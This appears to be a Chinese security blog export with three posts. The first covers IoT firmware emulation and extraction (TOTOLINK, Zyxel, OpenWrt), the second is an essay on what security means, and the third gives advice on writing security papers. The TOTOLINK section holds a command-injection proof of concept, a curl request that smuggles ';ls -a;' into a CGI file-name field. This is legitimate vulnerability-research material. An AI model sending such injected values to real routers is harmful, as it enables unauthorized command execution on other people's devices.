再将 TOTOLINK 的 squashfs-root 复制到 mispel 路径下：sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root

进入 mispel 切换根路径，再创建一个启动所需的文件即可成功访问登陆界面

```sh
sudo schroot -c chroot:mipsel -u root
chroot ~/squashfs-root
# 创建 lighttpd 空文件
mkdir /var/run
touch /var/run/lighttpd.pid
lighttpd -f lighttp/lighttpd.conf
```

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FsOuQEpnSz4qBKA56E6aP%2F19.png?alt=media)

因为没设置密码，所以直接空密码登录，看到跳转的 protal 复制粘贴至地址栏后访问，开 F12 拿 session id 用 curl 访问对应 cgi 程序验证漏洞。

```shell
curl http://127.0.0.1/cgi-bin/cstecgi.cgi -b "SESSION_ID=<YOUR_SESSION_ID>" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'
```

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fy7yCzdhynyc9mkOdLmiZ%2F20.png?alt=media)

### Zyxel 设备：固件提取分析

参考资料：

* <https://paper.seebug.org/3137/>
* <https://security.humanativaspa.it/zyxel-firmware-extraction-and-password-analysis/>

固件获取：<https://support.zyxel.eu/hc/en-us/articles/360013941859-Security-Products-Firmware-Overview-and-History-Downloads-for-FLEX-ATP-USG-VPN-ZYWALL>

本次主要学习在固件被加密的情况下，获取固件。

尝试直接用 binwalk 解包，解出来一堆 .zip && .7z，解包失败。（binwalk 记得加 -r 参数，自动 delete carved file，节省空间，避免 archlinux 爆炸）

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FqaaXXblgLzLdgj0RKRjY%2F0.png?alt=media" alt="" width="375">

参考文章的 bypass 思路是找 **\*.ri**，由于.ri文件通常用于恢复损坏的固件，它可能包含完整的系统映像，所以尝试分析 .ri 文件（攻击面的知识又增加了）。依据是来自官方 pdf 中对 .ri 文件功能的介绍 && Appendix3 Firmware Recovery（强调了别在更新期间做一些骚操作）。

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FrrkaoBwfwbBmR7JOImcF%2F1.png?alt=media" alt="" width="375">

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FRRQgiudrWUn9MqXutT4V%2F2.png?alt=media" alt="" width="375">

承上，继续解包 \*.ri，而后继续解包 240 文件（若解包 \*.ri 后得到的仅有 240.7z，那么对该文件解压缩即可）。观察发现存在 zyinit 文件，用 file 命令查看其文件属性。

```
zyinit: ELF 32-bit MSB executable, MIPS, N32 MIPS64 rel2 version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
```

根据查到的文件属性，下载 mips 架构的 kernel 镜像以及文件系统。

访问 <https://people.debian.org/~aurel32/qemu/mips/> 后，可以看到有四个不同的 kernel 镜像以及两个不同的文件系统，该如何确认应用哪个呢？

* 通过 Linux 源码版本，即上述文件属性中“GNU/Linux 2.6.9”，可以排除一半 kernel 镜像，至于是 4kc 还是 5kc 版本，只能通过测试 qemu 能否正常启动来判定。
* 文件系统 squeeze 和 wheezy 分别对应 Debian6.0、Debian7。具体应该使用哪个，也只能通过尝试来确定。

```sh
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-5kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
```

下载完 kernel 镜像以及文件系统后，就可以通过以下脚本（需要确保反斜杠位于行末，没有后续的空格或字符）启动 qemu：

```sh
qemu-system-mips64 -M malta \
-kernel vmlinux-2.6.32-5-5kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
```

再通过以下脚本配置宿主机与 qemu 之间的通信环境：

```sh
sudo ip tuntap add dev tap0 mode tap
sudo ip link set dev tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
```

进入 qemu 后，配置 qemu 内部的网络环境。网络环境的配置逻辑是，宿主机和 qemu 各自有一个网卡，但是 qemu 需要依赖宿主机的网络环境，所以一个网络桥梁，即 qemu 启动脚本中指定的 tap0 设备（可以将其理解为网桥）。如果有问题，可以先按下 ctrl+a，再按 x 退出。

```sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
```

由于archlinux 的高度自定义，因此可能会缺少很多 package，在 scp 文件系统给 qemu 时，报了如下错误：

```
/usr/bin/dbclient: No such file or directory
```

解决方案是为 dbclient 创建一个软连接，链接到 dropbear ：<https://gumstix-users.narkive.com/HEPLFCWt/is-anyone-else-having-this-problem-using-scp-and-ssh-on-the-gumstix>

但又报 “lost connection”的问题，scp 的底层依旧是 invoke ssh，所以可以尝试 ssh 测试连接。在 archlinnux 上安装 openssh 解决了 lost connection 的问题。但是又碰上了以下报错：

```
Unable to negotiate with 192.168.100.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
scp: Connection closed
```

看样子是算法协商不一致，在 scp 过程中添加以下参数“-o HostKeyAlgorithms=+ssh-dss”，解决问题，终于将相关文件传入到 qemu 中。

进入到上述 240 解包后的目录，并给以下命令用到的程序添加可执行权限，在 /rw 路径下得到 compress.img，将得到的 img 传回到宿主机利用 binwalk 解包就可以得到 squashfs。（中间解包在 archlinux 中还需要安装一些 package，根据报错安装即可）

```sh
./zld_fsextract 530ABFV0C0.bin ./unzip -s extract -e code
```

最后在 archlinux 中用 binwalk 解包得到 squashfs！

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F84n48eSn6tYLjSbyoKhi%2F3.png?alt=media)

在第二篇参考文章中，作者对 Zyxel ZyWALL Unified Security Gateway (USG) appliances 的固件逆向解包做了详细的说明。基本步骤同上，就不再浪费时间。有意思的一个思路是，可以用 strace + qemu-xxx-static 去观察 syscall 的情况，来验证解包思路的正确性。

总结一下思路：直接解 .bin 发现遇到了强加密，无法直接解包。发现同路径下有关于文件功能说明的 .pdf，查阅 .pdf 之后发现 .ri 可以用来紧急启动，说明其内包含相关启动程序，遂用 binwalk 对其层层解包，浏览解包结果发现两个有意思的文件：zyinit 以及 zld\_fsextract。用 ghidra 一通分析 zld\_fsextract 可以得知其能绕过 unzip 过程中的密码，于是用 qemu 搭建系统仿真环境进行尝试。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FY46RoVywKCwTa70M6Spr%2F4.png?alt=media)

### OpenWrt

参考资料：

* [OWASP固件安全性测试指南](https://m2ayill.gitbook.io/firmware-security-testing-methodology/v/zhong-wen-fstm)
  * 自动固件分析工具：firmwalker
* [固件靶标安全评估（一）](https://m.freebuf.com/articles/endpoint/338885.html)
* [OpenWrt 设备下载](https://firmware-selector.openwrt.org/)、[OpenWrt 设备下载（二）](https://downloads.openwrt.org/)

下载固件：openwrt-23.05.3-mvebu-cortexa9-linksys\_wrt1900acs-squashfs-factory.img

参考前面解决 binwalk 中 ubi\_reader 缺失的问题后，并没有解压出目标 fs，于是放弃更换另一个目标。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FAoEqp2Un1KFFb5aCR5nt%2F5.png?alt=media)

换了一个目标也是如此。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fas3QHFTBx76Y9scQYBmS%2F6.png?alt=media)

思考是不是因为 factory 不包含相应的文件，于是下载 sysupgrade 尝试解包，成功解出 fs，但是碰上链接被重定向至 /dev/null 的问题。参考 [link](https://bbs.kanxue.com/thread-278240.htm#msg_header_h1_2) 解决（git clone 后修改 extractor.py），如果 python 版本过高如 3.12，会报找不到 imp 包的错误，将包全部修改为 importlib.util 解决（ps，conda 没办法直接配置 3.3 版本的 python）。

上 openwrt.org 检索镜像区别的结果如下：

> **工厂镜像**旨在取代供应商的原厂固件。它与供应商提供的文件格式相匹配。您通常使用供应商的网页界面来安装工厂映像。
>
> **sysupgrade镜像文件** (以前称为trx镜像) 旨在替换OpenWrt镜像.使用sysupgrade镜像用来升级LEDE或OpenWrt系统到更新的OpenWrt.

简单来说：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FJk9pNyG1IsVIJxQ7ZPWf%2F7.png?alt=media)

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F8W6gOCpncAJS62OjYJ3S%2F8.png?alt=media)

现在明白为什么需要切换根目录时需要配合 qemu-arm-static，因为如果不这么做，执行 bash 实际上是重定向执行 squashroot 下 /bin/busybox，然而 busybox 是 arm 架构与本机架构不匹配，所以切换根目录时会触发“Exec format error”错误。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F9LgD7dXDUeID1FUlFjQo%2F9.png?alt=media)

进入 qemu 之后 ，无法执行任何可执行文件，利用 file ./bin/busybox 命令后，在对应路径缺少 ld-musl-arm.so.1 解释器：

```
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header
```

搜索后整理解决办法如下：

```sh
# 下载 musl 库包并解压缩
wget http://www.musl-libc.org/releases/musl-1.2.2.tar.gz
tar -xzf musl-1.2.2.tar.gz
cd musl-1.2.2
# 为了在本机 x86_64 的情况下编译出arm 架构的 .so，需要构建交叉编译工具链
sudo pacman -Syu arm-none-eabi-gcc arm-none-eabi-newlib
export CC=arm-none-eabi-gcc
export CXX=arm-none-eabi-g++
export AR=arm-none-eabi-ar
export AS=arm-none-eabi-as
export RANLIB=arm-none-eabi-ranlib
# 编译 musl
./configure --prefix=/tmp/musl-install
make
make install
# 将编译好的 musl 解释器复制到目标文件系统
sudo cp /tmp/musl-install/lib/ld-xxx squashfs-root/lib/
# 而后可以进行相应的用户级仿真 / 系统级仿真
```

理论上是这么干，但是实际上弄不出来，先 give up，暂且留作 future work😭


# 安全随笔——安全到底是什么

本篇 blog 已投稿 freebuf 原创文章，转载自：https\://www\.freebuf.com/articles/neopoints/401134.html

### 引言 <a href="#h2-1" id="h2-1"></a>

“这横贯数千年的西法史，说来说去就是讲这么一个问题。”，老师转过身，在黑板上写下了几个单词，“What is \_\_\_?”。一位女同学在台下脱口而出，“law”。老师把粉笔一丢，挥挥手，微笑示意着我们下课。毫无疑问这是一堂精彩绝伦的法律课，但身为信安专业的学子，自然而然萌生了另一个想法：黑板上的填空，如果替换成 security，该作何解答？

时光倒回数年前，记得在马云的访谈录上，见过这么一句话“做淘宝，最难的是建立诚信体系”。当时尚小不能理解，现在有所感悟。连萍水都未曾相逢的买家与卖家，凭什么信任“买家是真的买家，卖家又是真的卖家”，凭什么能够实现”一手交钱，一手交货“？淘宝的解决思路是：淘宝作为**可信第三方**介入交易，在买家下单后，先将货款转入到淘宝的指定账号，只有在买家确认收货后，卖家才能从淘宝收到相应的货款。问题进一步延伸，淘宝凭什么能够成为可信第三方？成为可信第三方后，又是如何分发和管理其数字证书，确保互联网上每一笔交易的顺利进行？

回答上述两个问题都离不开建立一套**安全体制**，但相比于安全体制如何建立，更为重要的一点是，究竟如何去理解“安全”，即回答“What is security?”。

密码学大牛 Bruce Schniner 在其著作 *Applied cryptography : protocols, algorithms, and source code in C*提到了安全的定义，笔者认为非常恰当，援引如下：

> 如果把一封信锁在保险柜中，把保险柜藏在纽约的某个地方，然后告诉你去看这封信，这并不是安全，而是隐藏。
>
> 相反，如果把一封信锁在保险柜中，然后把保险柜及其设计规范和许多同样的保险柜给你，以便你和世界上最好的开保险柜的专家能够研究锁的装置，而你还是无法打开保险柜去读这封信，这才是安全的概念。

为了更好地理解什么是安全，可行的方案是学习信息安全领域的道统学科——密码学。

### 密码学 <a href="#h2-2" id="h2-2"></a>

密码学是为了达到机密信息不被非授权地获知的目的,而采取的某种手段或方式，主要基于数学或物理的某种变换来实现**加密/ 解密**。密码学的研究对象可以抽象为一个四元组：（明文，密钥，密文，加解密算法），即研究 p = D\_k(E\_k(p)) 的实现 。

#### 历史 <a href="#h3-1" id="h3-1"></a>

密码学是一门古老的学科，在数千年前已经诞生，并且得到广泛应用：

* 与密码学 cryptography 意思相近的一个单词是 cryptology，在古希腊文中的意思是“如何秘密地书写单词”。440 B.C. 古希腊战争中，奴隶主赫斯坦为推翻波斯人统治，想与爱奥尼亚城统治者联合行动，采用了“隐写术”进行保密通信。他剃光一位忠实奴隶的头发，将情报刺在其头皮上，等待头发长出来之后，就让奴隶出发前往爱奥尼亚城。奴隶到达目的地后，让人剃光自己的头发，对方就看到了奴隶头皮上刺的情报。
* 现代的门限共享方案，早在我国周代就有其雏形。据史料记载，周代的著名军事家姜尚（字子牙）发明了“阴符”和“阴书”。其中，阴书采用“**一合而再离，三发而一知**”的方法，将一份军事情报分成三份，分别放在三枚竹简上，派三名信使各持一个竹简出发，到达目的地后，三枚竹简再合而为一，就可得知军事信息的原意。

除了上述两个例子，诸如藏头诗、卡丹网格式密码、二战期间周恩来总理发明的“豪密”、让日本摸不着头脑的“纳瓦霍密码”，也都是密码学的实际应用。然而这些历史应用可能离当下生活仍旧太遥远，因此不妨移目下方这个小故事：

> 在百度的密码吧里，这则已有 20118 个跟贴，名字为《求救，我已经快想爆了》的帖子里，发帖主人 HighnessC 说：“最近和一个心仪的女生告白，谁知道她给了一个摩斯密码给我，说解出来才答应和我约会。可是我用尽了所有方法都解不开这个密码。。好郁闷啊。只能求救你们了。”
>
> <省略解密过程>
>
> 吧友们最后直呼，“祝楼主幸福咯。因为她是爱你的！！”

故事的来龙去脉，可上知乎获悉：<https://www.zhihu.com/question/20011317/answer/728551774。>

#### 对称加密与非对称加密 <a href="#h3-2" id="h3-2"></a>

言归正传，回到密码学理论本身。无论是古典密码学，还是现代密码学，基本的加密模式都是**分组加密**（流密码可以视为分组长度为 1 的分组加密）。分组加密最本质的要求是 Claude Shannon 提出的**扩散（Diffusion）和混乱（Confusion）**，它们分别基于换位和替换操作实现。换位和替换即常说的的 S-box(Substitution) 和 P-box(Permutation)。S-box 将输入的数据块映射为另一个数据块，例如将字母"A"替换为"X"。P-box 则是将输入的数据块按照预定的规则重新排列，例如将字符串"ABCD"重排为"CDAB"。运用 S-box 和 P-box 的示例比比皆是，例如耳熟能详的 Caesar cipher 和 Vigenere cipher。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F2TNbssh30pYjv63RX4OV%2Fimage.png?alt=media&amp;token=31760224-b16b-4219-a392-860de2c836fc" alt=""><figcaption><p>Caesar cipher</p></figcaption></figure>

<figure><img src="https://image.3001.net/images/20240516/1715841292_6645a90c4b05c00aa6405.png!small" alt="" width="375"><figcaption><p>Vigenere cipher</p></figcaption></figure>

然而基于线性变换的 S-box 与 P-box 难以抵御词频统计等攻击。现代密码学中，加解密算法的安全性不再依赖于线性变换，而主要依赖于某种非线性变换，加解密算法的原型也往往基于某类数学难题，像基于大数因子分解难题的 RSA、基于离散对数难题的 DH 和 DSA、基于椭圆曲线离散对数难题的 ECC。

以上讨论的密码学大多属于对称加密的范畴，对称加密的特点是加密与解密过程中使用的密钥是相同的，既然要用到相同的密钥，首当其冲的问题就是通信双方如何协商这一密钥？即如何解决通信双方的**密钥分发**问题。为讨论密钥分发问题，不妨先建立一个通信模型：

![image.png](https://image.3001.net/images/20240516/1715841324_6645a92c5a4ed0a694e21.png!small)

具体考虑"首次通信"和"不安全信道通信"这两种场景，对于从未通信过的发送方和接收方，双发无法确认对方的身份，无法事先共享密钥，难以进行首次通信；在不安全信道中交换密钥存在风险，密钥可能被窃听或截获。一旦密钥泄露，攻击方就可以解密通信内容，进而窃取、篡改、伪造通信内容。综上，不难发觉对称加密难以解决**密钥分发**问题，而且对称加密还存在以下缺陷：

1. 无法实现不可否认性（抗抵赖性）。设想某机密信息被泄露，通信的发送方和接收方都有可能是泄密者，若第三方介入尝试取证，就会遇到无法唯一确认泄密者身份的问题。
2. 密钥管理负担重，每对通信双方都需要一个唯一密钥，随着通信参与方数量的增加，密钥数量以 N^2 规模增长。

在对称加密面临以上问题的情况下，非对称加密的出现填补了这些缺陷。1976年，Whitfield Diffie 和 Martin E. Hellman 发表了一篇极其重要的论文—— **New Directions in Cryptography**，开创了**非对称加密体系**（公钥加密体系），二人因此荣获 2015年 图灵奖。这一体系的关键在于使用一对公私钥，其中公钥用于加密，私钥用于解密。这种机制允许通信实体在不事先共享密钥的情况下进行安全通信，从而解决了对称加密在首次通信和不安全信道通信中的局限性。关于非对称加密的模式，可以举一个简单的例子加以说明（以下 c 代表密文，p 代表明文）：

![image.png](https://image.3001.net/images/20240516/1715841362_6645a952013ab2d352071.png!small)

值得一提的是，DH 二位虽然提出了非对称加密体系，但并没有给出一个实例，因为找到一个单项陷门函数并非易事。读者可能会好奇什么是单项陷门函数？单项陷门函数是非对称加密体系的基础，单项函数好理解，即从一方向计算容易，从另一方向反推很困难的函数，如 Hash 函数。陷门函数是一种在一个方向上很容易计算，但在**没有特殊信息**的情况下很难在相反方向上计算（寻找它的逆）的函数，称为“陷门”。陷门函数是单向函数的一种特殊情况。单向陷门函数的特点概况如下：

![image.png](https://image.3001.net/images/20240516/1715841376_6645a960334b9c0a1f9be.png!small)

在1979年，Ron Rivest, Adi Shamir 和 Leonard Adleman 发明了 RSA算法，**将非对称加密正式带入人世间**，三位作者也因此共同分享 2002年图灵奖。非对称加密有很多应用场景，PGP（Pretty Good Privacy）是其中一种。PGP 用于保护电子邮件通信的隐私和安全性，其应用过程的一种数学表达式如下：

![image.png](https://image.3001.net/images/20240516/1715841391_6645a96f4f85496f01e17.png!small)

具体流程：首先用单向函数生成明文 P 的摘要（用于后续消息完整性验证），再用私钥 sk 签名摘要（用于后续消息来源验证），而后将签名与摘要压缩（提高传输效率）。为了防止攻击者窃取，用对称密钥 km 加密压缩后的消息，并用接收方的公钥加密 km，最后采用某种编码方式，将消息编码后发送给接收方。接收方收到消息后，按照上述过程的逆过程进行解密。以下是一个 PGP 脚本 demo。

![image.png](https://image.3001.net/images/20240516/1715841429_6645a995a13ed97e66a14.png!small)

关于 PGP 的具体实现，可参考：<https://github.com/955xiaoSu/Trusted-transmission-based-on-PGP。>

以上从密码学的角度讨论了“What is security?”，以下笔者将从计算的角度进一步分享对这个问题的理解。

### 计算上不可行 <a href="#h2-3" id="h2-3"></a>

从广义上，笔者认为“安全等价于计算上不可行”。为了探讨“计算上不可行”这个概念，不妨先聊聊计算这件事。

计算是什么？对于 CS 行业的我们，第一反应可能是，计算机在做的事情是计算！而后开始联想冯诺依曼计算机体系的计算流程，即有一个输入设备读取输入，其次有存算设备来处理中间结果，最后输出设备展示计算结果。

![image.png](https://image.3001.net/images/20240516/1715841458_6645a9b2559904e75634d.png!small)

但除此之外，还有没有别的计算场景呢？

* 玩剪刀石头布是不是计算？
* 用笔在纸上做做算术、几何是不是计算？
* 拿起眼前的水杯喝水是不是计算？

在以上这些场景，人类大脑都需要进行时空方面的计算，确定肌肉的紧张程度，实现在特定的时空完成特定的动作。笔者认为在本质上，**”计算”是一种”映射“**，是对输入的响应，响应体现为输出，所以计算可以用如下范式表达。

![image.png](https://image.3001.net/images/20240516/1715841468_6645a9bccde2e3193a00a.png!small)

运用上述范式解释“睡眠”这一行为，首先将人体的感官与皮肤抽象为一个传感器，用于接收现实世界的输入（如光线、声音）。当夜幕降临，人体在生物钟的控制下，开始释放褪黑素、腺苷等化学物质，提升睡眠压力，让人体感到困倦，此外，人体接收到的各路信息（如昏暗的光线）也会提示到点了该上床睡觉了。与此同时，下丘脑作为大脑皮层的门卫，会控制相应的信号进入皮层促进睡眠，同时屏蔽一些不利于睡眠的信号。当心率、体温等指标都被调整到合适的范围时，人体逐渐进入睡眠状态。在睡眠场景下，“Blackbox”是人体神经信号的处理与传导，输出是人体呈现出睡着的状态（很明显的特征是肌无力）。

聊完计算之后，可以接着探讨“计算上不可行”。笔者认为，“计算上不可行”有两层基本的含义：

1. 不可计算。通俗点儿说就是做不到，包括但不限于以下两种情形：计算消耗的资源超过人类所能获取的极限、问题目前无法计算。\
   前者好理解，计算需要消耗能量，根据能量守恒定律，能量是不可能凭空产生的，因此计算所消耗的能量客观上不能超过人类所能使用的能量极限；对于后者，目前通用计算机的模型是图灵机，图灵机被希尔伯特形式系统所定义，而哥德尔证明了希尔伯特形式系统是不完备的！这意味着计算机的能力存在着上界，也说明人类认知能力存在上界，上界之上的世界是目前无法理解也无法计算的。
2. 可计算但不值得，换句话说即计算代价过高。道哥在《计算》中提到这么一个观点：

> 计算与安全是一枚硬币的两面，安全是由计算强度保证的。

深以为然。因为世界上不存在绝对安全的系统，安全追求的并不应该是所谓万无一失的系统，而应该着眼于提高攻击者的计算强度。例如让攻击者为追求 ￥1 价值的目标，付出至少 ￥2 的代价；又或者设计一个方案，让攻击者破解保密期限只有 1day 的机密消息，至少需要花费 2day 的时间。“提高攻击者计算强度”这样一种安全方案的可行性，已经被世界所存在的单向函数所证明。世界存在单向函数的一个例子是：根据[刘仁文：论死刑的成本](https://www.aisixiang.com/data/11994.html)，死囚从被判处死刑到执行花费的金额高达数百甚至上千万美元，而构成死刑的犯罪成本才多少呢？

上述两个章节分别从密码学和计算的角度讨论了“What is security？”，在最后，笔者尝试从系统的角度对此问题进行总结。

### 系统安全 <a href="#h2-4" id="h2-4"></a>

在某讲坛上，笔者有幸获得了提问道哥的机会。

> ”您觉得在学习安全的过程中，最重要的思维是什么？“
>
> ”系统安全。“

**系统安全成为了笔者看待安全的全局出发点**，从前听闻过的一系列攻击，蠕虫、震网、幽灵、熔断、西工大 TAO 攻击、CVE-2024-3094 xz 软件包后门……都被“系统安全”这根绳紧密串联在了一起，这些攻击不再是零散的，而是以树形结构被有序组织在脑海中。

在系统的视角下，考虑安全问题，可以围绕信息的生命周期进行思考：

1. 产生信息的过程中，本地硬件、固件、SBI、操作系统、编译器、ABI、应用程序、键鼠、屏幕等一系列软硬件设备是否可信？
2. 在信息存储的过程中，如何做到选择性可见（仅对目标对象开放）？文件的权限管理是否遵守 KISS 原则？若采用加密的方式进行存储，加密的熵值是否足够大？
3. 在信息传输的过程中，如何做到可靠传输，防止信息被窃取、篡改、伪造？
4. 如何防范社会工程？世界头号黑客 Kevin Mitnick 曾说过：“人是最薄弱的环节。你可能拥有最好的技术、防火墙、入侵检测系统、生物鉴别设备，可只要有人给毫无戒心的员工打个电话……”。Kevin 的著作 *The Art of Deception*淋漓尽致地展现了社会工程的效果。

围绕信息的生命周期是系统安全的一个实例，也可以围绕安全实现的四大手段“完整性、访问控制、随机化、隔离”来琢磨安全问题，这里暂不展开。当然，系统安全的思想不可能解决一切安全问题，在运用时必须反思其存在的前提是什么。毕竟盲目地运用任何一种理论，而不加考虑其前提，毫无疑问是一种愚蠢。那么系统安全的前提是什么？

笔者认为运用系统安全思维分析问题的前提是：**不信任**计算的参与方。这里的参与方不仅指人，也泛指计算用到的一切设备（如交换机、路由器、DNS 服务器、IP 协议）。假如你信任计算的参与方，那么就不需要考虑安全。比如 1973年 Vint Cerf 和 Bob Kahn 发表 *A protocol for Packet Network Interconnection*建立 Internet 后，在 1974年 ARPANET 的实践中，参与计算的节点总共只有 UCLA, SRI, UCSB, UTAH 四个，即便你骗骗我或者我骗骗你，也捞不到好处，那自然就没有必要考虑安全问题。

以上是笔者近一段时间学习安全的感悟，仅供读者参考，欢迎交流、批评与指正。最后有一句话希望与各位共勉：

> 在安全面前，我永远是个孩子。


# 《信息安全论文写作》方法论

## 前言

基于对[肖老师](https://xiaolab.net/)的个人崇拜，笔者本学期全程旁听了他开设的课程——《信息安全论文写作》，受益匪浅。故将课程所学的方法论加以整合，供日后参考。

## 学士、硕士与博士

学士、硕士与博士是高等教育的三个不同阶段，但该体系并非一成不变的。在最初，高等教育体系中只有学士与博士两个阶段，然而人们发现对于博士的要求过于苛刻，以至于许多人都无法毕业（至今仍是如此），于是引入了硕士（苏联还引入了“[副博士](https://zh.wikipedia.org/wiki/%E5%89%AF%E5%8D%9A%E5%A3%AB%E5%AD%A6%E4%BD%8D)”）阶段。至此才演化到如今中西方普遍采用的“学士—硕士—博士”这样的高等教育体系。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FYmqqieJP07HHrNJpTQVl%2Fimage.png?alt=media&amp;token=e133d78d-cf34-4d9c-80ef-1f4551fe253c" alt=""><figcaption><p>学位体系</p></figcaption></figure>

高等教育体系对不同阶段的学习者提出了不同的能力要求，可简单概括如下：

* 学士：面对问题，能查阅现成方案并解决；
* 硕士：成为某个方面的专家，面对问题，能多方法对比并进行应用与评估；
* 博士：面对**新问题**，做人类从未做过的事情。

在西方，大学授予的博士学位是 Philosophy Doctor（philosophy 在古希腊中的意思是“[爱智慧](https://zhuanlan.zhihu.com/p/376918933)”）。若能获得 Ph.D 学位，则能被称为“Doctor”，这是一种无上的荣耀。这说明你在接受高等教育的过程中，在某领域认知达到了人类前沿水平，并通过思考，为人类在该领域的发展做出了贡献。论文是证明你为人类做出了贡献的一种方式。

论文（paper，起源于 thesis、dissertation）是科学研究成果的载体，往大了说，它用于记录人类的科技进步；往小了说，它关乎到每个学生是否能够毕业，从而取得相应的学位证书。然而，必须指出的是：**发论文是手段，而不是目的，目的是科学研究。**

## 科学研究的基本素养

笔者认为，科学研究是带着**批判精神，**&#x53BB;探究自然界的客观规律。科学研究的出发点是你发现了一个**明确而有趣**的问题（要求是**悬而未决**的），明确是指问题能被客观衡量（形如“我好像爱上了 Ta”的问题不在此范畴），有趣是指探索此类问题能满足你的好奇心，使得探索问题不是沉重的负担，而是一场有意思的游戏。遗憾的是，这场游戏并不适合所有人入场。

### 科学研究的必要条件

1. **衣食无忧**。如果你每天都在担心下一秒会不会死去，下一顿饭吃什么，那么大概率是没有心情搞科学研究的。可参考中科院曹则贤教授的[说法](https://www.cas.cn/cm/201612/t20161216_4584940.shtml)；
2. **天分**。牛顿 **22岁** 发明了微积分（瘟疫在家休假期间创造的），**27岁** 得到查理二世的特准，获得了卢卡斯数学教授席位；伽罗瓦在短暂的 **21年** 人生中发明了群论，利用群论彻底解决了根式求解代数方程的问题。天分决定了科学研究工作的上限，学术道德决定了科学研究工作的下限。顺带多提一句，学术道德的底线是❌抄袭，抄袭的定义是对“原创 idea copy” && “对引用不加标识”；
3. **追求**。博士阶段的工作是 single track，是绝望之谷，美国 1/3 的博士患有抑郁。如果不是有特殊的癖好，有诸如“**Knowledge make you different**”这样坚定的信仰，否则换个非科学研究的人生赛道是明智之举。

### 批判性思维

科学研究存在的先决条件：**critical thinking** → make a point → improvement。

学会批判，在看别人的工作时，就会主动去分析工作中好 / 不好的地方，养成 overclaim 的习惯。慢慢就能做到同类问题的扩展与问答，能够连续问出有深度的问题，成长为一名成熟的科学研究工作者。因此批判性思维是科学研究不可或缺的组成部分。

但在中国，以笔者了解到的受教育经历来看，中小学教育绝大部分是填鸭式教育 && 灌输式教育。一方面老师往往只注重讲解知识点【是什么】，而很少提及知识点【为什么】是这样；另一方面只有极少部分的学生具有质疑精神，能够有理有据地论证教科书是否存在问题、老师讲解的部分是否存在问题。可以说，在中国的教育模式下，我们在批判性思维方面存在**后天不足**，这一点在白岩松的《幸福了吗》以及康辉的《平均分》都有提及。

既然存在不足，那么正视不足并加以弥补就是了。以下是一些笔者认为值得学习的资料：

* [书评：《学会提问——批判性思维指南》](https://program-think.blogspot.com/2010/10/book-review-asking-right-questions.html)
* [批判性思维扫盲：学会区分“事实”与“观点”](https://program-think.blogspot.com/2013/05/difference-between-fact-and-opinion.html)
* [how-to-ask](https://stackoverflow.com/help/how-to-ask)
* [How-To-Ask-Questions-The-Smart-Way](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md)

## 论文工具：Zotero && Overleaf

建立了以上基本认知后，可以进一步探讨科学研究。科学研究的一般路径是：调研某领域 → 发现问题 → 解决问题 → 写论文展示成果。因此在学写论文之前，还有一件**极其重要**的事情——学会读论文。读论文是“调研某领域”的手段，能帮助自己建立对某领域系统、准确的认知，确保自己所做的工作是前人没有做过的，是有意义的。

